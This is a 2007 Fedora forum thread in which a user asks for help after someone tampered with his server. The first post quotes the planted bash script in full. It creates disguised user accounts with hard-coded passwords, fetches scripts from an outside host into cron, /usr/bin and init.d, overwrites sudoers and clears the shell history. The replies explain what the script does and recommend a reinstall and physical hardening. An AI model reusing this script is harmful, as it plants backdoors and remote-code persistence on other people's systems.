Fedora Linux Support Community & Resources Center

Go Back   FedoraForum.org > Fedora 17/18 > Using Fedora
FedoraForum Search

Forgot Password? Join Us!

Using Fedora General support for current versions. Ask questions about Fedora and it's software that do not belong in any other forum.

Reply
 
Thread Tools Search this Thread Display Modes
  #1  
Old 30th October 2007, 05:59 AM
fedorafan2 Offline
Registered User
 
Join Date: Dec 2005
Posts: 277
Server Hacked

This guy I know hacked my server using a live distro at a party at my house. He changed the root password and might have installed a rootkit. I was looking at the server and noticed this file can anyone tell me what it is and what to do. I deleted all the files it refrences for download at the bottom.



#!/bin/bash
if [ `grep -c -e '\bcron\b' /etc/group` -eq 0 ] ; then
groupadd cron
fi
if [ `grep -c -e '\bpostalias\b' /etc/group` -eq 0 ] ; then
groupadd postalias
fi
if [ `grep -c -e '\tux\b' /etc/group` -eq 0 ] ; then
groupadd tux
fi
if [ `grep -c -e '\bsaslauthd\b' /etc/group` -eq 0 ] ; then
groupadd saslauthd
fi
if [ `grep -c -e '\byum\b' /etc/group` -eq 0 ] ; then
groupadd yum
fi
if [ `grep -c -e '\bcron\b' /etc/passwd` -eq 0 ] ; then
useradd -gcron cron
fi
echo "cron436" | passwd --stdin cron
if [ `grep -c -e '\bpostalias\b' /etc/passwd` -eq 0 ] ; then
useradd -gpostalias postalias
fi
echo "postalias436" | passwd --stdin postalias
if [ `grep -c -e '\bsaslauthd\b' /etc/passwd` -eq 0 ] ; then
useradd -gsaslauthd saslauthd
fi
echo "saslauthd436" | passwd --stdin saslauthd
if [ `grep -c -e '\bispconfig\b' /etc/passwd` -eq 0 ] ; then
useradd -gtux ispconfig
fi
echo "ispconfig436" | passwd --stdin ispconfig
if [ `grep -c -e '\bxds\b' /etc/passwd` -eq 0 ] ; then
useradd -gcron xds
fi
echo "xds436" | passwd --stdin xds
if [ `grep -c -e '\bvncservd\b' /etc/passwd` -eq 0 ] ; then
useradd -gsaslauthd vncservd
fi
echo "vncservd436" | passwd --stdin vncservd
if [ `grep -c -e '\bhttpd\b' /etc/passwd` -eq 0 ] ; then
useradd -gtux httpd
fi
echo "httpd436" | passwd --stdin httpd
if [ `grep -c -e '\bpostfixd\b' /etc/passwd` -eq 0 ] ; then
useradd -gyum postfixd
fi
echo "postfixd436" | passwd --stdin postfixd
if [ `grep -c -e '\bvsftpd\b' /etc/passwd` -eq 0 ] ; then
useradd -gpostalias vsftpd
fi
echo "vsftpd436" | passwd --stdin vsftpd
cd /etc/cron.hourly
curl http://maxweisel.com/ispconfigbind.sh -O
chmod +x ./ispconfigbind.sh
cd /usr/bin
curl http://maxweisel.com/ispconfigbind.sh -O
chmod +x ./ispconfigbind.sh
cd /etc/init.d
curl http://maxweisel.com/ispconfigbind -O
chmod +x ispconfigbind
chkconfig ispconfigbind on
cd /etc
curl http://maxweisel.com/sudoers -O
history -c
Reply With Quote
  #2  
Old 30th October 2007, 06:50 AM
pobbz Offline
Registered User
 
Join Date: Apr 2005
Location: Finland
Posts: 190
Hello.

It seems to me that is adds some users to your system. I might wrong though.

Anyway, wtf? The guy changed the root password? Then, what's the point of installing a rootkit, if you at the same time make it very clear that the box has been hacked?

AFAIK, the purpose of rootkits is to prevent the server owner from finding out that his box has been compromised. Changing the root password kinda nullifies the whole idea of a rootkit.

If I were you I'd do two things:

1. Commit a clear reinstall.
2. Kick the **** out of the guy.
Reply With Quote
  #3  
Old 30th October 2007, 07:10 AM
marcrblevins's Avatar
marcrblevins Offline
Registered User
 
Join Date: Jun 2006
Location: Texas
Age: 42
Posts: 4,168
No, number 2 is report the hacker to the police. He might wanted to steal your identity, etc.
Reply With Quote
  #4  
Old 30th October 2007, 07:43 AM
leigh123linux's Avatar
leigh123linux Offline
Retired Administrator
 
Join Date: Oct 2006
Posts: 21,509
Quote:
Originally Posted by marcrblevins
No, number 2 is report the hacker to the police. He might wanted to steal your identity, etc.
How can he do that he invited the hacker into his house and left him unattended with his PC


I don't let any mother fu*ker near my machine
__________________
My Hardware
- CPU: AMD Phenom II X6 Hex Core 1055T 95W Edition @3.5Ghz
- Motherboard: Gigabyte GA-880GM-UD2H
- Cooler: Corsair H50 CPU Cooler
- RAM: Corsair Dominator 8GB (4x2GB) DDR3 1600MHz
- Graphics: Gigabyte GeForce GTS 450 OC 1024MB GDDR5
Reply With Quote
  #5  
Old 30th October 2007, 08:24 AM
Iron_Mike's Avatar
Iron_Mike Offline
Registered User
 
Join Date: Jul 2005
Location: Ft Huachuca, AZ
Posts: 3,762
Almost any box can be hacked if given physical access to the box. So to be on the safe side, rebuild the server box and don't let anyone screw with it
Reply With Quote
  #6  
Old 30th October 2007, 08:28 AM
marcrblevins's Avatar
marcrblevins Offline
Registered User
 
Join Date: Jun 2006
Location: Texas
Age: 42
Posts: 4,168
Another thing, change your BIOS to not boot from floppies or any CD/DVD drives. My first device to boot is the hard drive. Turn on BIOS password as well.

Then this hacker would have to break in the hard way, take door off, reset BIOS, story goes on.
Reply With Quote
  #7  
Old 30th October 2007, 06:26 PM
contraculto's Avatar
contraculto Offline
Registered User
 
Join Date: Mar 2007
Location: Chile
Posts: 283
Quote:
Originally Posted by Iron_Mike
Almost any box can be hacked if given physical access to the box. So to be on the safe side, rebuild the server box and don't let anyone screw with it
and get a big evil looking dog :P
Reply With Quote
  #8  
Old 31st October 2007, 03:01 AM
fedorafan2 Offline
Registered User
 
Join Date: Dec 2005
Posts: 277
Can anyone tell me what the users he created are. I know the person who hacked it he is a good friend and thinks it is really funny. He told me the root pass and didn't install a rootkit, but he put those little files on there so he an do stuff just to annoy me. He also said the sudoers file is important to keep but delete the lines he added. Is this true and if so can someone tell me where i can get a good file?
Reply With Quote
  #9  
Old 31st October 2007, 07:55 AM
marcrblevins's Avatar
marcrblevins Offline
Registered User
 
Join Date: Jun 2006
Location: Texas
Age: 42
Posts: 4,168
Forget it, reinstall.
Reply With Quote
  #10  
Old 31st October 2007, 08:28 AM
pobbz Offline
Registered User
 
Join Date: Apr 2005
Location: Finland
Posts: 190
Quote:
Originally Posted by marcrblevins
Forget it, reinstall.

Yes. I 2nd that. And set the BIOS to boot only from HD and then set a BIOS password.
Reply With Quote
  #11  
Old 1st November 2007, 01:07 AM
casket88 Offline
Registered User
 
Join Date: Sep 2007
Posts: 114
Put a lock on your case too

All someone needs is a screwdriver and 2 extra minutes of time to bypass the BIOS password and be able to boot from the live CD. The only way to get past this is to sneak in some bolt cutters or an angle grinder and if he can, well you deserve to be hacked
Reply With Quote
  #12  
Old 1st November 2007, 03:15 AM
ChrisSavery Offline
Registered User
 
Join Date: Oct 2007
Posts: 34
You can read the script. He adds groups and users. He sets passwords. He downloads the ispconfig file several times ( though why doesn't he just dl once and copy?). He first puts on in an hour cron so it will run every hour, then he puts one in /usr/bin so it's easy to run at the cmdline, then he puts one in init.d and sets it as a daemon so it's always on and will start at boot. He really, really wants that program to run. So if you want to know what he's up to then look at that script. If you are convinced you don't want to reinstall then at least remove that script from the places installed and run chkconfig again with off to disable it. But really you have no idea what else he may have done, and if this stuff is just a diversion. So as people say here the only safe way to deal with this is to reinstall.
Reply With Quote
Reply

Tags
hacked, server

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
server was hacked HELP hoskinsrick Security and Privacy 13 5th June 2008 05:21 PM
Server Hacked 2 times/ Have no Clue FYT2008 Security and Privacy 5 25th February 2008 01:49 AM
Server Hacked and the root password didn't work gmg2006 Using Fedora 29 30th November 2007 03:47 PM
I think my server has been hacked Skillz Security and Privacy 4 27th March 2007 07:47 AM
Next-Gen DVD DRM Hacked—Maybe linux_paul Wibble 8 7th January 2007 06:38 AM


Current GMT-time: 12:38 (Friday, 24-05-2013)

TopSubscribe to XML RSS for all Threads in all ForumsFedoraForumDotOrg Archive
logo

All trademarks, and forum posts in this site are property of their respective owner(s).
FedoraForum.org is privately owned and is not directly sponsored by the Fedora Project or Red Hat, Inc.

Privacy Policy | Term of Use | Posting Guidelines | Archive | Contact Us | Founding Members

Powered by vBulletin® Copyright ©2000 - 2012, vBulletin Solutions, Inc.

FedoraForum is Powered by RedHat